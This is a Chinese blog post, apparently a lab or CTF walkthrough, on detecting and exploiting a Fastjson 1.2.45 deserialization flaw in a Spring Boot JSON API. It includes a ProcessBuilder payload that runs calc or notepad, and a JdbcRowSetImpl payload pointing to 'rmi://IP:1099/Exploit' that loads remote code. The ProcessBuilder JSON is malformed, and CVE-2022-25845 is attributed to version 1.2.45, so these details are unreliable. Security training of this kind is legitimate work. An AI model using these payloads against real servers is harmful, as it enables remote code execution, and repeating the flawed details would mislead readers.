Fastjson 1.2.45仅JSON接口反序列化漏洞

1.看到这个非敏感的JSON接口页面,无参数传入,敏感信息,只有一个普通age和name,源码,以及开发者工具,或者80端口都没有任何东西,那我们需要看看响应头或接口场景

2. 可以看出源码,以及开发者工具,或者80端口都没有任何东西

3.那我们接着收集一波信息,技术栈没有看见东西,nmap扫一个22端口,应该是管理员给自己开的一个ssh远程连接,我们对于这个最多只能进行爆破密码,但是百分百不是这方面的

**4.那应该就是我们需要自己构造payload,**对后端发送让他返回点什么,考虑到渗透测试中针对「JSON 接口」的标准化漏洞探测思路:

第一步:先修正请求的 "基础格式"(当前是 GET 请求,不适合传 JSON Payload)

抓的是GET 请求,而 JSON 接口的核心交互方式是 POST 请求 + 请求体传 JSON(GET 请求通常用 URL 参数传参,很少用请求体)。所以第一步要先调整请求:

  1. 把请求方法从GET改成POST(只有 POST 请求才有请求体,才能传我要测试的 JSON Payload);
  2. 保留Host等必要请求头,删掉Upgrade-Insecure-Requests这类 GET 请求的特有头。

第二步:添加Content-Type: application/json的原因(让后端 "识别请求体是 JSON")

POST 请求传 JSON 数据时,后端必须通过Content-Type: application/json这个请求头,才能知道 "请求体是 JSON 格式,需要用 JSON 解析库(比如 Fastjson)来解析":

  • 如果不加这个头,后端会默认把请求体当成 "普通字符串",你的 Fastjson Payload 根本不会被 Fastjson 处理(相当于 "你写了封中文信,但没标'中文',对方按乱码读了");
  • 这是所有 JSON 接口的通用通信规则,不是针对漏洞的特殊操作,是 "让 Payload 被正确解析" 的前提。

第三步:尝试 Fastjson Payload 的原因(JSON 接口的 "高频高危漏洞"),当然这一步需要慢慢测试,国内接口,以及国外从高频,特殊的开始

当确认这是 "Java 后端的 JSON 接口" 后,Fastjson 反序列化漏洞是这类接口的 "头号必测高危漏洞",理由是:

  1. 技术栈占比高:国内 Java 项目中,超过 60% 的 JSON 接口会用 Fastjson 作为解析库(比 Gson、Jackson 更常用);
  2. 漏洞危害极大:Fastjson 1.2.x 系列(比如你之前遇到的 1.2.45)存在大量反序列化漏洞,成功利用能直接执行系统命令、控制服务器;
  3. 探测成本低:只需要传一个标准的 Fastjson Payload(比如{"@type":"java.lang.ProcessBuilder",...}),就能快速验证是否存在漏洞。

5.点击 HackBar 的「Headers」选项, 注意有的hackbar不能直接提交,可以使用bp修改,添加:

Content-Type: application/json

计算机

{"@type":"java.lang.ProcessBuilder","command":"cmd","/c","calc"}

记事本

{"@type":"java.lang.ProcessBuilder","command":"cmd","/c","notepad"}

6.发现版本Fastjson 1.2.45:

Fastjson 反序列化漏洞(如 Fastjson 1.2.45 的 CVE-2022-25845)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/Exploit","autoCommit":true}

后端组件与版本:

响应明确显示fastjson-version 1.2.45,说明后端使用Fastjson 1.2.45(该版本存在多个高危反序列化漏洞,如 CVE-2017-18349、CVE-2022-25845)。

 请求问题:

请求体的 JSON 存在语法错误(响应提示 "JSON parse error: syntax error, expect {, actual error, pos 0"),导致后端无法解析 Payload。

 后端框架:

响应中的 "Whitelabel Error Page" 是 Spring Boot 的默认错误页面,说明后端是Spring Boot+Fastjson的技术栈。

7.这个比较早的漏洞基本上都进行修复,直接github搜索poc或exp进行测试

相关推荐
MicrosoftCloud4 小时前
用户权限 04|/etc/sudoers 安全配置:从最小授权到「别把 ALL 随便给人」
运维·安全·ubuntu·sudo·sudoers
花青泽10 小时前
子域名基础04_DNS数据与记录
web安全
hasty11 小时前
2026-10-04_ABSENTIA鉴权不变量审计_CSDN_待发布
安全
花青泽13 小时前
第2章_阶段1_准备
web安全
杭州领祺科技13 小时前
27 号令横向隔离落地清单:储能边缘计算网关 ≠ 电力专用网闸,算电协同中心安全分区/纵向加密/SPDnet 怎么配
人工智能·安全·网络安全·边缘计算·储能·电力·电力监控
weixin_4407305013 小时前
内置函数、json文本、pickle二进制
开发语言·python·json
jimmyleeee15 小时前
大模型安全之四十:纵深防御----AI安全没有银弹
人工智能·安全
花青泽15 小时前
子域名基础05_Web与网络层
web安全
念越15 小时前
接口自动化测试从入门到实战:接口用例设计、Requests、Pytest、YAML、JSON Schema 与 Allure 报告
python·测试工具·自动化·json·pytest
花青泽16 小时前
子域名挖掘全局流程
web安全